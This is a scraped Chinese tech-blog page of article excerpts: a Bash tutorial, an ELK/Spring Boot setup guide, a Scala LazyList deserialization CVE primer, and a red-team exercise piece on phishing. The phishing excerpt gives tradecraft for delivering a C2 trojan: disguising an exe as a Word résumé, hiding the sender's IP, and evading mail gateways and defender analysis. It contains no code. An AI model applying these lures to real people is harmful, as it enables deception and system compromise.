root" fi 这还是比较简单的情况。尝试想象一下,一个复杂的脚本可能有五十行或一百行! 你将会学到什么? 在这个 Bash 脚本教程中,有九个部分。你将会学到: 创建并运行你的第一个 Bash Shell 脚本 使用变量 在你的 Bash 脚本中传递参数和接受用户输入 进行数学计算 操作字符串 使用条件语句,例如 if-else 使用 for、while和until循环 创建函数 ? 所有的部分都会给你一个简单的例子。如果你愿意,你可以通过访问每个部分的详细章节来更深入地学习。这些章节也都包含了实践练习。 这个教程的目标读者是谁? 这个教程适合任何想要开始学习 Bash Shell 脚本的人。 如果你是一名学生,而你的课程里包括了 Shell 脚本,那么这个系列就是为你准备的。 如果你是一个常规的桌面 Linux 用户,这个系列将会帮助你理解在探索各种软件和修复问题时遇到的大多数 Shell 脚本。你也可以使用它来自动化一些常见的、重复的任务。 在这个 Bash 脚本教程结束时,你应该可以编写简单的 Bash 脚本。 ? 希望你已经拥有 Linux 命令行和编程语言的基础知识。 如果你对 Linux 命令行完全不熟悉,我建议你先掌握基础知识。 19 个你应该知道的基础而重要的 Linux 终端技巧 你应该了解如何在命令行中进入特定的位置。为了做到这一点,你需要理解 Linux 文件系统中的路径是如何工作的。 Linux 中的绝对路径和相对路径有什么不同 接下来,这个教程系列会给你介绍目录导航和文件操作的基本知识。 终端基础:Linux 终端入门 1、编写你的第一个 Bash Shell 脚本 创建一个名为 hello.sh的新文件: nano hello.sh 这将在终端中打开 nano 编辑器。在其中输入以下几行代码: #!/bin/bash echo "Hello World" 通过按 Ctrl+X键可以保存并退出 nano 编辑器。 现在,你可以以以下方式运行 Bash Shell 脚本: bash hello.sh 你应该可以看到以下的输出: Hello World 另一种方式是首先赋予脚本执行权限: chmod u+x hello.sh 然后这样运行它: ./hello.sh ? 你也可以使用基于图形用户界面的文本编辑器来编写脚本。这可能更适合编写较长的脚本。然而,你需要切换到保存脚本的目录中才能运行它。 恭喜!你刚刚运行了你的第一个 Bash 脚本。 Bash 基础知识系列 #1:创建并运行你的第一个 Bash Shell 脚本 2、在 Bash 脚本中使用变量 变量的声明方式如下: var=some_value 然后可以像这样访问变量: $var ? 在声明变量时,等号(=)前后不能有空格。 我们通过添加一个变量来修改前面的脚本。 #!/bin/bash message="Hello World" echo $message 如果运行这个脚本,输出仍然会保持不变。 Hello World Bash 基础知识系列 #2:在 Bash 中使用变量 3、向 Bash 脚本传递参数 你可以在运行 Bash 脚本时以以下方式传递参数: ./my_script.sh arg1 arg2 在脚本中,你可以使用 $1来代表第 1 个参数,用$2来代表第 2 个参数,以此类推。$0是一个特殊变量,它代表正在运行的脚本的名字。 现在,创建一个新的 shell 脚本,命名为 arguments.sh,并向其中添加以下几行代码: #!/bin/bash echo "Script name is: $0" echo "First argument is: $1" echo "Second argument is: $2" 使其可执行并像这样运行它: $ ./argument.sh abhishek prakash Script name is: ./argument.sh First argument is: abhishek Second argument is: prakash 让我们快速看一下特殊变量: 特殊变量 描述 $0 脚本名称 $1、$2…$9 脚本参数 ${n} 10 到 255 的脚本参数 $# 参数数量 $@ 所有参数一起 $$ 当前 shell 的进程 id $! 最后执行命令的进程 id $? 最后执行命令的退出状态 你也可以通过接受键盘输入使你的 Bash 脚本变得交互式。 为此,你必须使用 read命令。你还可以使用read -p命令提示用户进行键盘输入,而不需要echo命令。 #!/bin/bash echo "What is your name, stranger?" read name read -p "What's your full name, $name? " full_name echo "Welcome, $full_name" 现在,如果你运行这个脚本,当系统提示你输入“参数”时,你必须输入。 $ ./argument.sh What is your name, stranger? abhishek What's your full name, abhishek? abhishek prakash Welcome, abhishek prakash Bash 基础知识系列 #3:传递参数和接受用户输入 4、执行算术运算 在 Bash Shell 中执行算术运算的语法是这样的: $((arithmetic_operation)) 下面是你可以在 Bash 中执行的算术运算的列表: 操作符 描述 + 加法 - 减法 * 乘法 / 整数除法(没有小数) % 模运算(只余) ** 指数(a 的 b 次方) 以下是在 Bash 脚本中进行加法和减法的示例: #!/bin/bash read -p "Enter first number: " num1 read -p "Enter second number: " num2 sum=$(($num1+$num2)) sub=$(($num1-$num2)) echo "The summation of $num1 and $num2 is $sum" echo "The substraction of $num2 from $num1 is $sub" 你可以执行 Shell 脚本,使用你选择的任意数字作为参数。 如果你尝试除法,会出现一个大问题。Bash 只使用整数。默认情况下,它没有小数的概念。因此,你会得到 10/3 的结果为3,而不是 3.333。 对于浮点数运算,你需要这样使用 bc命令: #!/bin/bash num1=50 num2=6 result=$(echo "$num1/$num2" | bc -l) echo "The result is $result" 这个时候,你将看到准确的结果。 The result is 8.33333333333333333333 Bash 基础知识系列 #4:算术运算 5、在 Bash 脚本中使用数组 你可以使用 Bash 中的数组来存储同一类别的值,而不是使用多个变量。 你可以像这样声明一个数组: distros=(Ubuntu Fedora SUSE "Arch Linux" Nix) 要访问一个元素,使用: ${array_name[N]} 像大多数其他的编程语言一样,数组的索引从 0 开始。 你可以像这样显示数组的所有元素: ${array[*]} 这样获取数组长度: ${#array_name[@]} Bash 基础知识系列 #5:在 Bash 中使用数组 6、Bash 中的基础字符串操作 Bash 能够执行许多字符串操作。 你可以使用这种方式获取字符串长度: ${#string} 连接两个字符串: str3=$str1$str2 提供子字符串的起始位置和长度来提取子字符串: ${string:$pos:$len} 这里有一个例子: 你也可以替换给定字符串的一部分: ${string/substr1/substr2} 并且你也可以从给定字符串中删除一个子字符串: ${string/substring} Bash 基础知识系列 #6:处理字符串操作 7、在 Bash 中使用条件语句 你可以通过使用 if或if-else语句为你的 Bash 脚本添加条件逻辑。这些语句以fi结束。 单个 if语句的语法是: if [ condition ]; then your code fi 注意使用 [ ... ];和then。 if-else语句的语法是: if [ expression ]; then ## execute this block if condition is true else go to next elif [ expression ]; then ## execute this block if condition is true else go to next else ## if none of the above conditions are true, execute this block fi 这里有一个使用 if-else语句的 Bash 脚本示例: #!/bin/bash read -p "Enter the number: " num mod=$(($num%2)) if [ $mod -eq 0 ]; then echo "Number $num is even" else echo "Number $num is odd" fi 运行它,你应该能看到这样的结果: -eq被称为测试条件或条件操作符。有许多这样的操作符可以给你不同类型的比较: 这些是你可以用来进行数值比较的测试条件操作符: 条件 当…时,等同于 true $a -lt $b $a ($a是小于$b) $a -gt $b $a > $b($a是大于$b) $a -le $b $a ($a是小于或等于$b) $a -ge $b $a >= $b($a是大于或等于$b) $a -eq $b $a == $b($a等于$b) $a -ne $b $a != $b($a不等于$b) 如果你在进行字符串比较,你可以使用以下这些测试条件: 条件 当…时,等同于 true "$a" = "$b" $a等同于$b "$a" == "$b" $a等同于$b "$a" != "$b" $a不同于$b -z "$a" $a是空的 还有些条件用于检查文件类型: 条件 当…时,等同于 true -f $a $a是一个文件 -d $a $a是一个目录 -L $a $a是一个链接 ? 要特别注意空格。开括号和闭括号、条件之间必须有空格。同样地,条件操作符(-le、==等)之前和之后必须有空格。 Bash 基础知识系列 #7:If-Else 语句 8、使用 Bash 脚本中的循环 Bash 支持三种类型的循环:for、while和until。 这是 for循环的一个例子: #!/bin/bash for num in {1..10}; do echo $num done 运行它,你将看到以下输出: 1 2 3 4 5 6 7 8 9 10 如果你选择使用上面的示例,可以使用 while循环这样重写: #!/bin/bash num=1 while [ $num -le 10 ]; do echo $num num=$(($num+1)) done 同样,可以使用 until循环来重写: #!/bin/bash num=1 until [ $num -gt 10 ]; do echo $num num=$(($num+1)) done ? while循环和until循环非常相似。区别在于:while循环在条件为真时运行,而until循环在条件为假时运行。 Bash 基础知识系列 #8:For、While 和 Until 循环 9、在 Bash 脚本中使用函数 Bash Shell 支持使用函数,这样你不必反复编写相同的代码片段。 这是声明 Bash 函数的通用语法: function_name { commands } 这是一个使用带参数的函数的 Bash 脚本样例: #!/bin/bash sum { sum=$(($1+$2)) echo "The sum of $1 and $2 is: $sum" } echo "Let's use the sum function" sum 1 5 如果你运行该脚本,你将看到以下输出: Let's use the sum function The sum of 1 and 5 is: 6 Bash 基础知识系列 #9:Bash 中的函数 接下来呢? 这只是一个初窥。这个 Bash 脚本教程只是一篇引言。Bash 脚本的内容还有很多,你可以慢慢地、逐渐地探索。 GNU Bash 参考是一份优秀的在线资源,可以解答你的 Bash 疑问。 GNU Bash 参考 除此之外,你可以下载这本免费书籍来学习更多在此未涵盖的 Bash 内容: 下载 Bash 初学者指南 一旦你具有足够的 Bash 基础知识,你可以通过这本免费书籍来学习高级 Bash 脚本: 下载高级 Bash 编程指南 这两本书至少都有十年的历史,但你仍然可以使用它们来学习 Bash。 ...

    2023-08-23 191
  • 攻防演练 | HW实战中钓鱼全流程梳理

    0x01前言 临近攻防演习,传统的web打点在没有0day的条件下变得非常困难,钓鱼成为一种相对容易的打点方式。本篇文章将介绍个人总结的钓鱼全流程,包括发送阶段注意事项、钓鱼话术、上线后注意事项。 本文不讨论免杀技术,均在当前已有一个能过国内主流杀软的exe,想让目标上线至我们C2服务器的情境下展开。 个人偏向于通过邮件来实施钓鱼,文章将重点讲解钓鱼邮件的全流程。当然电话、wx钓鱼的方式成功率更高,也需要更强的社牛属性。 0x02发送阶段注意事项 1、邮箱收集 网页泄露:官网联系邮箱、招标文件、招聘信息、投诉邮箱等等。 查询工具:https://hunter.io/search http://www.skymem.i nfo/srch 2、少用群发 群发的邮件内容定制化程度低、可信度低,一旦被发现认定为钓鱼邮件,防守方会对木马文件进行分析,进而导致辛辛苦苦做好的免杀马被上传到云平台,最终失去免杀效果。 我个人偏向于通过常规163邮箱来发送邮件,gophis等钓鱼工具用的不是很熟练。 当然,如果想要尝试群发,需要开启选项:“分别发送”,不然收件人会知道你同时发了很多邮件给别人,很容易被识别出来这是一封钓鱼邮件。 3、修改邮箱前缀和昵称 邮箱的昵称是可以多次更改的,每次发送邮件前修改昵称,使昵称更符合情景。收件人先看到的是你的昵称,而不是邮箱号。   4、使用代理 收件人可以看到发件人发件时的IP,请选择一个合适区域的代理,不要远到国外,也不要暴露自己真实的IP。 5、绕过邮件网关 遇到邮件网关,可以尝试压缩包加密、或将恶意链接修改为二维码图片。 0x03钓鱼话术 在不同场景要有不同的钓鱼话术,接下来将从HR、企业、xx局三个目标来定制不同话术。 HR->简历 针对HR通常将木马伪造成简历,我通常将exe的名称加长,可以达到让受害者看不到后缀名的效果,同时使用resourcehacker修改exe图标为word、wps之类的图标,再将exe压缩后发送,实现以假乱真的效果 木马名称:“xxxxx大学——xxx简历——xxxx求职咨询.exe” 受害者看到的木马:word图标、名称为“xxxx大学——xxx简历——...” 话 ...

    2023-08-23 234
  • CentOS7搭建SpringBoot项目整合ELK环境详解

    文章目录 前言 1、ELK概述 2、环境&版本 3、Elasticsearch 3.1、下载Elasticsearch 3.2、安装Elasticsearch 3.3、配置Elasticsearch 3.4、启动Elasticsearch 4、Logstash 4.1、下载Logstash 4.2、安装Logstash 4.3、配置Logstash 4.4、启动Logstash 5、Kibana 5.1、下载Kibana 5.2、安装Kibana 5.3、配置Kibana 5.4、启动Kibana 6、SpringBoot集成ELK 6.1、添加依赖 6.2、修改Logback配置 6.3、启动SpringBoot项目 6.4、在Kibana中查看日志 总结 前言 本文详细介绍了在CentOS 7操作系统上搭建ELK以及在SpringBoot项目中整合ELK的步骤。以下内容来自掘金用户汪小成。 1、ELK概述 ELK代表Elasticsearch、Logstash和Kibana三个开源项目的首字母缩写。这三个项目共同构成了一个成熟且强大的实时日志集中处理方案。在这个方案中,Logstash用于日志收集,Elasticsearch则用于数据存储和索引,而Kibana则提供了一个直观的可视化界面,用于查看存储在Elasticsearch中的日志数据。 2、环境&版本 服务器系统版本、JDK版本、ELK版本信息如下: 环境 版本 端口号 Centos 7.9   JDK 1.8   Elasticsearch 7.2.1 39100 Logstash 7.2.1 39102 Kibana 7.2.1 39101 Elasticsearch、Logstash和Kibana三个开源项目都需要在Java环境下运行,所以需要提前在服务器上安装JDK。 centos的环境搭建的JDK1.8。本文中没有讲述JDK的安装,有需要的朋友可以参考《Centos7 安装JDK1.8》文章。 3、Elasticsearch 3.1、下载Elasticsearch $ wget –c https://mirrors.huaweicloud.com/elasticsearch/7.2.1/elasticsearch-7.2.1-x86_64.rpm 为了更快的下载速度,我选择在华为开源镜像站下载Elasticsearch。 3.2、安装Elasticsearch $ rpm -ivh elasticsearch-7.2.1-x86_64.rpm 3.3、配置Elasticsearch Elasticsearch配置文件位置:/etc/elasticsearch。 进入配置文件所在文件夹: $ cd /etc/elasticsearch 备份配置文件(非必要): $ cp elasticsearch.yml elasticsearch.backup.yml 使用vim打开elasticsearch.yml配置文件,按下i进入编辑模式。修改内容如下: network.host: 0.0.0.0 http.port: 39100 discovery.seed_hosts: ["127.0.0.1:39100"] 配置项说明: network.host用于设置绑定的主机地址,可以是IP地址或主机名。http.port用于设置监听的HTTP端口,出于一些特殊原因,我将elasticsearch的端口号由默认的9200修改为39100。discovery.seed_hosts用于设置集群节点的种子主机地址,用于节点发现和加入集群。 3.4、启动Elasticsearch # 启动Elasticsearch $ sudo systemctl start elasticsearch 将Elasticsearch设置为开机启动(非必要): # 将Elasticsearch设置为开机自启 $ sudo systemctl enable elasticsearch 查看Elasticsearch的运行状态: $ sudo systemctl status elasticsearch 或者,使用如下命令检查Elasticsearch是否启动成功: # 检查Elasticsearch是否启动成功 $ netstat -antp | grep 39100 待Elasticsearch启动成功后,可以使用curl命令来测试Elasticsearch是否正常运行。例如: $ curl http://127.0.0.1:39100 如果返回类似以下内容,说明Elasticsearch已经成功运行: { "name" : "localhost.localdomain", "cluster_name" : "elasticsearch", "cluster_uuid" : "NqlpN5iJQmeSV_TvHqPo6w", "version" : {   "number" : "7.2.1",   "build_flavor" : "default",   "build_type" : "rpm",   "build_hash" : "fe6cb20",   "build_date" : "2019-07-24T17:58:29.979462Z",   "build_snapshot" : false,   "lucene_version" : "8.0.0",   "minimum_wire_compatibility_version" : "6.8.0",   "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" } 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39100/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 4、Logstash 4.1、下载Logstash 在华为开源镜像站下载Logstash: $ wget –c https://repo.huaweicloud.com/logstash/7.2.1/logstash-7.2.1.rpm 4.2、安装Logstash $ rpm -ivh logstash-7.2.1.rpm 4.3、配置Logstash 在/etc/logstash/conf.d文件夹下创建logstash.conf配置文件,配置文件内容如下: input {   tcp {       host => "0.0.0.0"       port => 39102       mode => "server"       codec => json_lines   } } output {   elasticsearch {       hosts => "localhost:39100"       index => "%{[appname]}-%{+YYYY.MM.dd}"   } } 配置说明: input – 用于定义数据的输入源,即Logstash的数据来源。 tcp – 用于指定Logstash监听指定的IP和端口,接收 TCP 连接传入的数据。 host – 监听的主机IP地址,这里的0.0.0.0表示监听所有可用的网络接口。 port – 监听的端口号。我这里将端口号由默认的9600改为了39102。 mode – 连接模式。 codec – 数据编码解码方式,json_lines表示接收到的数据将以JSON行的形式解析。 output – 用于定义数据的输出目录。 elasticsearch – 表示将数据输出到Elasticsearch集群。 hosts – 用于设置Elasticsearch集群的主机地址和端口号。 index – 用于指定Elasticsearch索引的名称。这里使用 %{[appname]} 表示索引名称从数据中的appname字段获取。%{+YYYY.MM.dd}表示在索引中包含日期信息。 4.4、启动Logstash $ sudo systemctl start logstash 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39102/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 5、Kibana 5.1、下载Kibana $ wget –c https://repo.huaweicloud.com/kibana/7.2.1/kibana-7.2.1-x86_64.rpm 5.2、安装Kibana $ rpm -ivh kibana-7.2.1-x86_64.rpm 5.3、配置Kibana 进入/etc/kibana文件夹,修改kibana.yml配置文件中如下内容: server.port: 39101 server.host: "0.0.0.0" elasticsearch.hosts: ["http://localhost:39100"] i18n.locale: "zh-CN" 配置说明: server.port – 用于指定Kibana服务监听的端口号,这里我将端口号由默认的5601改成了39101。 server.host – 用于指定Kibana服务监听的主机地址。”0.0.0.0″表示监听所有可用的网络接口,即可以从任意IP地址访问Kibana。 elasticsearch.hosts – 用于设置Elasticsearch集群的主机地址和端口号。 i18n.locale – 用于设置界面语言,这里将界面语言设置成了中文。 5.4、启动Kibana $ sudo systemctl start kibana 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39101/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 6、SpringBoot集成ELK Spring Boot应用输出日志到ELK的大体流程如下图所示:说明: Spring Boot应用产生日志数据,使用Logback日志框架记录日志。 Logstash作为日志收集器,接收Spring Boot应用发送的日志数据。 Logstash解析和过滤日志数据,可能会对其进行格式化和处理。处理后的日志数据被发送到Elasticsearch,Elasticsearch将日志数据存储在分布式索引中。 Kibana连接到Elasticsearch,可以查看存储在Elasticsearch中的日志数据。 6.1、添加依赖 修改pom.xml文件,添加如下配置: dependency>    groupId>net.logstash.logbackgroupId>    artifactId>logstash-logback-encoderartifactId>    version>7.2version> dependency> 6.2、修改Logback配置 修改Logback的配置文件: + +   +   60.211.159.140:39102 +   +   +       +       {"appname":"spring-boot-elk"} +   +   +     6.3、启动SpringBoot项目 这一步,我就不废话了。 6.4、在Kibana中查看日志 1、在浏览器地址样中输入服务器IP+Kibana端口号 –> 点击管理 –> 点击索引模式 –> 点击创建索引模式。2、输入索引模式名称 –> 点击下一步。3、设置时间筛选字段名称,我这里没有使用时间筛选。4、点击Discover图标就可以看到Spring Boot项目输出的日志了。 总结 以上就是作者分享的CentOS7搭建Spring Boot项目整合ELK环境全部内容详解,希望对你有帮助! ...

    2023-08-20 259
  • 基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)

    引言 前段时间打SCTF,大牛师傅们的WP后,在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。 没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃 POC复现环境 Github: lazylist-cve-poc “线索” For security, preventFunction0execution duringLazyListdeserialization 关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue 利用条件 scala版本<2.13.9 允许用户伪造序列化字节流数据 前置知识 对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链子上某点出现的反序列化干分析不仅枯燥难懂而且总感觉少了点什么 有Scala基础的师傅可以直接跳过这部分 Scala简介 Scala语言是一门多范式的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。Scala运行在Java虚拟机上,并兼容现有的Java程序。Scala源代码被编译成Java字节码,所以它可以运行于JVM之上,并可以调用现有的Java类库。 Scala和Java之间的联系很紧密,Scala可以看作是对Java语言的丰富和扩展,Scala比Java更加灵活和强大,支持更多的编程范式和语言特性,例如高阶函数、模式匹配、特质、偏函数、隐式转换等。 这个特性对于经验丰富的scala开发者来说很舒服,但对于第一次接触scala就要啃源码的人来说非常非常非常不友好,比如笔者 Scala也可以利用Java的丰富的生态系统,使用Java的各种框架和库。 Scala和Java之间的区别也很明显,Scala有自己的语法规则和风格,与Java有很多不同之处,例如变量声明、函数定义、类构造、异常处理、集合操作等。Scala还有一些Java没有的概念,例如伴生对象、样例类、富接口、自身类型等 基础语法即使不懂scala也差不多能看懂,所以不涉及语法糖或者比较新的机制的地方本篇文章不做论述 但scala代码的有些地方还是容易迷糊,所以在之后部分涉及到的语法看不懂的可以先自行学习一下 匹配器match Scala语言的匹配器match是一种强大的语法结构,它可以让你根据不同的条件对一个值进行分支处理,类似于Java中的switch语句,但是更加灵活和强大。 match的基本用法 // 定义一个值 val x = ... // 使用match对值进行匹配 x match { // 每个case表示一种匹配情况 case 条件1 => 结果1 // 如果x满足条件1,就返回结果1 case 条件2 => 结果2 // 如果x满足条件2,就返回结果2 ... case _ => 默认结果 // 如果x都不满足上面的条件,就返回默认结果,_表示任意值 }   当然,你也可以用其他字符表示默认结果,而与_的区别就是_作为接受其他情况的变量时不会赋予$值 object Main { def show(result:String):Unit={ println(result) } def main(args: Array[String]): Unit = { val x=11 val y=x match { case 1 => "one" case 2 => "two" case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 //case _ => s"other: $" //错误:Cannot resolve symbol _ } show(y) //other: 11   }} match可以匹配不同类型的值,比如整数、字符串、布尔值等,也可以匹配复杂的数据结构,比如列表、元组、样例类等。match还可以使用模式守卫来增加额外的判断条件,比如: x match { case 条件1 if 表达式1 => 结果1 // 如果x满足条件1,并且表达式1为真,就返回结果1 case 条件2 if 表达式2 => 结果2 // 如果x满足条件2,并且表达式2为真,就返回结果2 ...} match的其他用法 // 把match赋值给一个变量val result = x match { case 条件1 => 结果1 case 条件2 => 结果2 ...}   // 把match作为函数的参数def foo (y: Int) = {println (y)}foo (x match {case 条件1 => 结果1case 条件2 => 结果2...}) // 把match作为函数的返回值def bar (z: String): Boolean = z match {case "yes" => truecase "no" => falsecase _ => false}   总的来说,match是一个表达式,它有一个返回值 apply方法 apply方法是Scala中一个非常有用的特性,它可以让我们用一种简洁而直观的方式来创建和使用对象。 apply方法的本质是一个普通的方法,它可以定义在类或者对象中,但是它有一个特殊的语法糖,就是当我们用括号传递参数给一个类或者对象时,Scala会自动调用它的apply方法,并把参数传给它。 例如: // 定义一个类Person,有一个name属性class Person(val name: String)   // 定义一个伴生对象Person,有一个apply方法,接受一个name参数,返回一个Person实例object Person {def apply(name: String) = new Person(name)} // 创建一个Person实例,可以直接用Person("Alice"),而不需要用new Person("Alice")val alice = Person("Alice")//相当于Person.apply("Alice") // 打印alice的name属性,输出Aliceprintln(alice.name)   我们通过Person("Alice")这种方式创建了一个Person实例,而不需要用new关键字。这是因为Scala会把Person("Alice")转换成Person.apply("Alice"),也就是调用了伴生对象Person的apply方法,并把"Alice"作为参数传给它。这样就可以省略new关键字,让代码更简洁。 apply方法不仅可以定义在伴生对象中,也可以定义在类中。当我们对一个类的实例用括号传递参数时,Scala会调用该类的apply方法,并把参数传给它。 object Main {   def main(args: Array[String]): Unit = { class Person(val name: String){ //在类中定义apply方法,输出name def apply() :Unit = println(s"I am $name") } var p= new Person("lanb0") p()//相当于p.apply() //I am lanb0 }} 伴生对象 伴生对象是Scala中一种特殊的单例对象,它与一个同名的类存在于同一个文件中,这个类被称为伴生类。 伴生对象和伴生类之间有以下几个特点: 伴生对象和伴生类可以互相访问对方的私有成员,包括字段和方法。 伴生对象的成员相当于Java中的静态成员,可以直接通过对象名调用,而不需要创建对象实例。 伴生对象可以实现apply方法,用于创建伴生类的实例,这样就可以省略new关键字。 伴生对象可以实现unapply方法,用于实现模式匹配和提取器的功能。 伴生对象可以扩展一个或多个特质(trait),从而实现多重继承和混入(mixin)的效果。 下面是一个简单的例子,演示了伴生对象和伴生类的定义和使用: // 定义一个Person类,作为伴生类class Person(val name: String, val age: Int) { private val secret = "I love Scala"   def sayHello(): Unit = {println(s"Hello, I am $name, $age years old.")}} // 定义一个Person对象,作为伴生对象object Person { var count = 0 def increase(): Unit = {count += 1println(s"Person count: $count")} def showSec():Unit={println(apply("test",1).secret)} // 定义一个apply方法,用于创建Person类的实例def apply(name: String, age: Int): Person = {increase()new Person(name, age) // 返回新的Person对象} // 定义一个unapply方法,用于提取Person类的属性def unapply(person: Person): Option[(String, Int)] = {if (person == null) None // 如果person为空,返回Noneelse Some(person.name, person.age) // 否则返回Some元组}}object Main { def main(args: Array[String]): Unit = {// 使用伴生对象的apply方法创建Person类的实例,省略了new关键字val p1 = Person("Alice", 20)//Person count: 1val p2 = Person("Bob", 25)//Person count: 2 // 使用伴生对象的字段和方法 println(Person.count) // 输出2 Person.increase() // Person count: 3 Person.showSec()//输出Person count: 4 //I love Scala(伴生对象可以访问伴生类的私有成员) // 使用伴生类的字段和方法 /* println(p1.secret)// 无法访问私有成员 */ p1.sayHello() // 输出Hello, I am Alice, 20 years old. // 使用模式匹配和提取器,利用伴生对象的unapply方法 val p3=null p1 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. case _ => println("Unknown person.") } p3 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. case _ => println("Unknown person.") } }}   特质trait Scala语言中,有一个Scala语言中,有一个重要的概念叫做特质(trait),它类似于Java语言中的接口,但是比接口更加强大和灵活。 特质(trait)是一种定义了一组抽象或具体的属性和方法的类型,它可以被类(class)或对象(object)扩展(extends)或混入(mix in)。 特质可以实现多重继承,也就是说,一个类可以继承多个特质,从而获得所有特质中定义的属性和方法。 特质的定义和使用 特质的定义使用关键字trait trait PersonBody { val height: Int}     但是特质不能被实例化,因此特质没有参数,也没有构造函数。像trait PersonBody(170)或者new PersonBody(170)这样的写法就是错的,可以类比java的接口无法实例化 要使用特质,可以使用extends关键字来扩展一个或多个特质 扩展单个特质 object Main { trait PersonBody { var height: Int } class Person(name : String) extends PersonBody{ override var height: Int = 170 } def main(args: Array[String]): Unit = { var person = new Person("Cloud") println(person.height) //170 }} 注意,重写(实现)属性或方法时,需要使用override关键字来修饰 trait的方法声明必须被实现 扩展多个特质 使用with关键字来连接 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby() } class Person(name : String) extends PersonBody with PersonHobby { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } }def main(args: Array[String]): Unit = {var person = new Person("Cloud")person.showHobby() }}   with后面可以跟with,来扩展很多特质 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby():Unit } trait PersonScore{ var math="150" def showScore():Unit } class Person(name : String) extends PersonBody with PersonHobby with PersonScore { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } override def showScore(): Unit = { println(math) } } def main(args: Array[String]): Unit = { var person = new Person("Cloud") person.showHobby() person.showScore() }}/*输出Honor of King : World150*/ 自身类型self-type self-type表示一个类或特质依赖于另一个类型,即它必须和另一个类型混入(mixin)才能被实例化。 用一个简单的例子来解释Scala自身类型的概念。假设你有一个宠物猫,它有一些属性和行为,比如名字、颜色、叫声等。你可以用一个类来表示它: class Cat { val name: String = "Tom" val color: String = "Gray" def meow(): Unit = println("Meow!")} 现在,你想给你的猫添加一些新的功能,比如会说话、会唱歌、会跳舞等。你可以用特质来定义这些功能: trait Talkative { def talk(): Unit}   trait Singer {def sing(): Unit} trait Dancer { def dance(): Unit} 但是,这些功能并不是所有的猫都有的,只有一些特殊的猫才有。比如,只有会说话的猫才能唱歌,只有会唱歌的猫才能跳舞。你怎么表示这种依赖关系呢?你可以用自身类型来做到这一点: trait Talkative { def talk(): Unit}   trait Singer {self: Talkative => // 声明自身类型,表示Singer依赖于Talkativedef sing(): Unit = {talk() // 可以直接使用Talkative的成员println("La la la...")}} trait Dancer { self: Singer => // 声明自身类型,表示Dancer依赖于Singer def dance(): Unit = { sing() // 可以直接使用Singer的成员 println("Shake shake shake...") }} 这样,你就可以给你的猫混入这些特质,让它变得更有趣: val tom = new Cat with Talkative with Singer with Dancer // 创建一个会说话、唱歌、跳舞的猫tom.talk() // 输出:Meow!tom.sing() // 输出:Meow! La la la...tom.dance() // 输出:Meow! La la la... Shake shake shake... 但是,如果你试图给一个不会说话的猫混入Singer或Dancer特质,就会报错: val jerry = new Cat with Singer // 报错:illegal inheritance; self-type Cat with Singer does not conform to Singer's selftype Singer with Talkativeval lily = new Cat with Dancer // 报错:illegal inheritance; self-type Cat with Dancer does not conform to Dancer's selftype Dancer with Singer 这是因为自身类型注解限制了混入特质的对象必须满足依赖类型的条件。这样可以保证对象在使用特质的成员时不会出现错误。 惰性列表LazyList(重点) LazyList是Scala 2.13版本引入的新的集合类型,它是一种惰性求值的列表。惰性求值的意思是,列表中的元素只有在需要的时候才会被计算,而不是一开始就全部计算好。这样可以节省内存和时间,也可以表示无限的序列。 State,head及tail 名称 类型 作用 state 字段 存储LazyList对象的状态,表示惰性序列的结构和计算状态 State 特质 定义LazyList对象的状态的特质,有两个子类:Cons和Empty tail 方法 返回一个新的LazyList对象,包含除了第一个元素之外的所有元素,惰性求值 head 方法 返回LazyList对象的第一个元素,严格求值 State private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A] } state private lazy val state: State[A] = { // if it's already mid-evaluation, we're stuck in an infinite // self-referential loop (also it's empty) if (midEvaluation) { throw new RuntimeException("self-referential LazyList or a derivation thereof has no more elements") } midEvaluation = true val res = try lazyState() finally midEvaluation = false // if we set it to true before evaluating, we may infinite loop // if something expects state to already be evaluated stateEvaluated = true lazyState = null // allow GC res } 通过lazyState()方法去计算State的head和tail,保证LazyList的实时状态正确 关键字lazy表示延迟计算,也就是使用到的时候才会计算出结果 工作原理(关键) 光看上面的这几个成员会让人很头大,所以我用了很长一段时间才把他们的内在联系和整个LazyList体系的运行机制搞明白了 首先,我们创建一个存有无限个数字"1"的LazyList val ones = LazyList.continually(1) 此时,我们println这个惰性列表,可以发现是全都没有计算的,会打印出LazyList(<not computed>) 之后,我们用drop方法取出第一个元素(索引为0),就要用到我们之前的head方法,返回LazyList对象的第一个元素。然后再次打印这个LazyList println(ones.drop(0).head)//1println(ones)//LazyList(1, <not computed>) 好了,到此结束,接下来我们分析一下LazyList的内部做了什么 内部流程 创建LazyList时,LazyList会接受一个参数lazyState(一般情况下用户不用管),这个lazyState是一个无参的匿名函数,这个匿名函数会返回一个State对象,这个State存储着head和tail方法 private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A]} 这个匿名函数的head方法是:返回一个元素,这个元素是当前LazyList计算出的第一个元素 